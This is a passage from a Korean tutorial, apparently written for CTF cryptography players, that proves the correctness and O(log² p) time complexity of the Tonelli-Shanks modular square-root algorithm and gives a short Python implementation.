• $z$는 quadratic non-residue이므로 $c^{2^{M-1}}\equiv z^{Q\cdot2^{S-1}}\equiv z^\frac{p-1}{2}\equiv -1\text{ }(\text{mod }p)$이 성립한다.
• $n$은 quadratic residue이므로 $t^{2^{M-1}}\equiv n^{Q\cdot2^{S-1}}\equiv n^\frac{p-1}{2}\equiv 1\text{ }(\text{mod }p)$이 성립한다.
• $R^2\equiv n^{Q+1}\equiv nt\text{ }(\text{mod }p)$이다.

한 번의 반복에서 $M,c,t,R$에 새로이 대입되는 값 $M^\prime,c^\prime,t^\prime,R^\prime$는 다음과 같이 정의됨을 기억하자.

• $b\equiv c^{2^{M-i-1}}\text{ }(\text{mod }p)$
• $M^\prime$은 $0<M^\prime<M$과 $t^{2^{M^\prime}}\equiv1\text{ }(\text{mod }p)$를 만족하는 최소의 자연수
• $c^\prime\equiv b^2\text{ }(\text{mod }p)$
• $t^\prime\equiv tb^2\text{ }(\text{mod }p)$
• $R^\prime\equiv Rb\text{ }(\text{mod }p)$

이러한 정의에 따라 변화한 값에 대해서도 초기값에서와 동일한 성질들이 몇가지 성립함을 확인할 수 있다.

• ${c^\prime}^{2^{M^\prime-1}}\equiv b^{2^i}\equiv c^{2^{M-1}}\equiv -1 \text{ }(\text{mod }p)$
• ${t^\prime}^{2^{M^\prime-1}}\equiv t^{2^{M^\prime-1}}b^{2^{M^\prime}}\equiv(-1)\times(-1)\equiv1\text{ }(\text{mod }p)$
• ${R^\prime}^2\equiv R^2b^2 \equiv ntb^2 \equiv nt^\prime\text{ }(\text{mod }p)$

이때 $t^{2^{M-1}}\equiv 1\text{ }(\text{mod }p)$이므로 $0<M^\prime<M$인 $M^\prime$은 항상 존재하며 $M$의 값이 항상 감소한다. 이러한 반복 과정에서 $M=1$이 되는 순간 $1\equiv t^{2^{M-1}}\equiv t^1 \text{ }(\text{mod }p)$이므로 $t\equiv1\text{ }(\text{mod }p)$이며, $R^2\equiv nt\equiv n\text{ }(\text{mod }p)$이므로 $R$은 $x^2\equiv n\text{ }(\text{mod }p)$의 해가 된다.

Tonelli-Shanks 알고리즘의 시간복잡도 증명

위에서 기술한 알고리즘의 동작 과정 중 1., 2., 4.는 거듭제곱 연산과 대입 연산만으로 구성되므로 분할정복을 이용한 거듭제곱을 사용하면 $O(\log p)$에 수행 가능함을 알 수 있다.

3.의 경우 가장 작은 quadratic non-residue $x$에 대해 $O(x)$의 시간에 수행되는데, Claim 2에서 증명하였듯 어떤 residue가 quadratic non-residue일 확률은 50%이므로 평균 2회의 반복으로 quadratic non-residue를 찾을 수 있다. 최악의 경우에도 $\sqrt{p}$ 이하의 quadratic non-residue가 존재함이 보장된다. 본 글에서 다루기에는 다소 글이 난잡해지므로 생략한다. (증명)

5.에서 $i$를 찾는 과정은 $O(M)$의 시간을 소요하며 $M=O(\log p)$이므로 이 과정은 $O(\log p)$의 시간 내에 종결된다. 이외의 과정 역시 $O(\log p)$에 종료됨을 간단히 확인할 수 있으며, 이러한 과정이 최대 $O(\log p)$번 반복되므로 $O(\log^2 p)$의 시간에 종결됨을 알 수 있다.

따라서 3.의 소요 시간을 평균적인 상수 시간으로 가정한다면 $O(\log p+1+\log^2 p)=O(\log^2 p)$의 시간에 Tonelli-Shanks 알고리즘이 종료됨을 알 수 있다.

Tonelli-Shanks 알고리즘의 구현

CTF 암호학에서 자주 사용되는 언어는 SageMath, Python이다. SageMath에서는 sage.rings.finite_rings.integer_mod의 square_root_mod_prime을 통해 간단하게 Tonelli-Shanks 알고리즘을 사용할 수 있으며, square_root_mod_prime_power와 같은 확장 또한 사용 가능하다. 따라서 개인적으로 SageMath를 이용하길 권장하나, 그렇지 못하는 경우를 위해 Python에서 Tonelli-Shanks를 구현하는 코드를 간단하게 소개한다.

def tonelli_shanks(n,p):
    def isQR(x,p):# check whether x is quadratic residue
        return pow(x,(p-1)//2,p)==1
    # (1.)
    if not isQR(n,p):
        return -1

    # (2.)
    Q,S=p-1,0
    while Q%2==0:
        S+=1
        Q//=2

    # (3.)
    z=None
    for x in range(2,p):
        if not isQR(x,p):
            z=x
            break
    # (4.)
    M,c,t,R=S,pow(z,Q,p),pow(n,Q,p),pow(n,(Q+1)//2,p)

    # (5.)
    while True:
        if t==0:
            return 0
        elif t==1:
            return R
        k=t*t%p
        ii=None
        for i in range(1,M):
            if k==1:
                ii=i
                break
            k*=k
            k%=p
        b=pow(c,2**(M-i-1),p)%p
        M=ii%p
        c=b*b%p
        t=t*c%p
        R=R*b%p

# test
if __name__=='__main__':
    n,p=map(int,input().split())
    print("STARTED")
    print(tonelli_shanks(n,p))